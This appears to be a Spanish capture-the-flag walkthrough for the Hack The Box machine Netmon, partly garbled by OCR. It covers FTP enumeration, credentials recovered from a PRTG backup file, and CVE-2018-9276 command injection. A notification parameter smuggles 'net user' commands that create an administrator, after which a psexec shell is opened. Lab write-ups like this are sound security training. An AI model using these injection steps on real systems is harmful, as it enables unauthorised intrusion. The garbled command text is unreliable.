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1.Enumeracion

Realizamos un PING a la mdaquina victima para comprobar su TTL. A partir del valor
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso
podemos deducir que se trata de una maquina Windows.

/home/kali/Netmon
ing 1 10.10.10.152
PING 10.10.10.152 (10.10.10.152) 56(84) bytes of data.
64 bytes from 10.10.10.152: icmp_seqg=1 ttl=127 time=37.3 ms

— 10.10.10.152 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 37.346/37.346/37.346/0.000 ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes
servicios y versiones asociados.

an initiated Sat Sep as: nmap -sCV -p 21,80,135,139,445,5985, /i i 149666, 49667, 49568, n v -oN target

TG bandwidth monitor)

3
Monitor (NETW

E: cpe:/o:microsoft:windows

Ya que se permite el acceso andénimo, vamos a intentar enumerar los directorios del
servicio FTP. Parece que se estd publicando, toda la unidad c:\.

ftp> 1s -la

1

ttings
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Comprobamos que tenemos acceso a la flag de usuario.

Vimos durante la enumeracidon con nmap, que en el servicio web corria la web del sistema
de monitorizaciéon de PRTG.

éQué es un PRTG?
Es un software de monitoreo de red sin agentes de Paessler AG. El término general
Paessler PRTG auna varias versiones de software capaces de monitorizar y clasificar
diferentes condiciones del sistema, como el uso del ancho de banda o el tiempo de
actividad, y recopilar estadisticas de diversos anfitriones como switches, routers,
servidores y otros dispositivos y aplicaciones.

Comprobamos cual es el directorio por defecto de la aplicacién, donde se almacena la
configuracion.

The PRTG Data folder by default located under "C:\ProgramData
\Paessler\PRTG Network Monitor" contains all the monitoring data (logs,
historic data, tickets, reports, etc.) as well as the configuration of your
PRTG server. 25 mar 2021

Vemos varios ficheros de configuracion, entre ellos PRTG Configuration.old.bak, que
parece una copia de seguridad.

onnection.

1 AM

fer complete.
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Revisamos su contenido y encontramos unas credenciales.

1. PrTg@dmin2019

2. Analisis de
vulnerabilidades

La versidon a la que nos enfrentamos de PRTG es una 18.1.37. Revisamos si existen
vulnerabilidades.

/home/kali/HTB/Netmon/content
prtg

En el siguiente enlace encontramos una forma de ejecutar comandos, aprovechandonos
de la vulnerabilidad CVE-2018-9276.

3. Explotacion y acceso.

Siguiendo el enlace, nos vamos al menu Setup -> Account Settings -> Notifications.

® g = Equipo 010,152

Welcome | PRTG Network Menitor (NETMON) — Mezilla Firefox

T Exploit-DB Google Hacking DB OffSec &# Installation Cannot Co...

Maps Reports Logs

PRTG (~)
NETWORK

MONITOR Welcome PRTG System Administrator!

System Administration

PRTG Status

PRTG API

Contact Support
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https://codewatch.org/2018/06/25/prtg-18-2-39-command-injection-vulnerability/

Nos creamos una notificacion, activando la opcion “Execute Program”. Debemos
seleccionar como Program File “Demo exe notification — outfile.ps1”.

Execute Program

Program File

Demo exe notification - outfile ps1

Parameter

test.txt; net user pentest p3nT3st! /add ; net localgroup administrators pentest fadd

Crearemos un usuario y lo afiadiremos en el grupo local de administradores. Por tanto,
como “Parameter”, introducimos:
|1. test.txt; net user pentest p3nT3st! /add ; net localgroup administrators pentest /add |

Salvamos la notificacion. Para ejecutarla, debemos pulsar sobre la campana.

Object » Active/Paused @
£ Email and push notification to admin Active @
£ Email to all members of group PRTG Users Group Active r4

Ia Puned Active L4
£ Ticket Notification Active

9

Un mensaje, nos advierte que se ha ejecutado correctamente la notificacion.

Notification Test Results X

A test notification was triggered and queued for delivery to the following
recipients. Please check if you received the notification.

Podemos verificar que el usuario ha sido correctamente creado con crackmapexec.

/home/kali/HTB/Netmon/content

smb 10.10.10.152 p3nT3st!

10.10.10.152 445 NETMON Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
10.10.10.152 445 NETMON [+] netmon\pentest:p3nT3st! (Pwn3d!)

Usamos psexec para conectarnos a la maquina, con el usuario que hemos creado en
pasos anteriores.

/home/kali/HTB/Netmon/content
D pentest:’'p3nT3st!’'®10.10.10.152
Impacket v0.12.0.dev1+20230803.144057.22092339 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.152
[*] Found writable share ADMIN$
[*] Uploading file PGrXsoDZ.exe

[*] Opening SVCManager on 10.10.10.152.....

[*] Creating service gkKf on 10.10.10.152.....

[*] Starting service gkKf

[!] Press help for extra shell commands

Microsoft Windows [Version 10.0.14393]

(c) 2016 Microsoft Corporation. All rights reserved.
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